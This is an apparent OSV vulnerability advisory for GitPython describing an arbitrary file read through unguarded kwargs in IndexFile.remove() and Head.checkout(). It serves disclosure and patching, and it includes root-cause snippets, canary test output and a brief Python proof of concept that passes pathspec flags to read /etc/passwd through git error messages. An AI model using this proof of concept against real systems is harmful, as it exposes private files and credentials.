{"id":"PYSEC-2026-3841","summary":"GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","details":"## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=\u003cfile\u003e` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory's assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n    ...\n    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n    ...\n    self.repo.git.checkout(self, **kwargs)                                 # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n    print(e.stderr)                      # \u003c- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -\u003e `git rm` returns ALL 3 canary lines in-band\n       stderr: 'fatal: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any files'\n[PASS] Head.checkout() -\u003e `git checkout` returns ALL 3 canary lines in-band\n       stderr: 'error: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any file(s) known to git'\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` → `git rm` | **yes, full file** |\n| `Head.checkout()` → `git checkout` | **yes, full file** |\n| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` → `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.","aliases":["CVE-2026-76217","GHSA-hh9p-6wh2-4mfc"],"modified":"2026-09-10T12:15:06.045446504Z","published":"2026-09-10T09:44:51.369852Z","references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76217"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file"},{"type":"PACKAGE","url":"https://pypi.org/project/gitpython"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hh9p-6wh2-4mfc"}],"affected":[{"package":{"name":"gitpython","ecosystem":"PyPI","purl":"pkg:pypi/gitpython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.58"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.47","3.1.48","3.1.49","3.1.5","3.1.50","3.1.51","3.1.52","3.1.53","3.1.54","3.1.55","3.1.56","3.1.57","3.1.6","3.1.7","3.1.8","3.1.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/gitpython/PYSEC-2026-3841.yaml"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}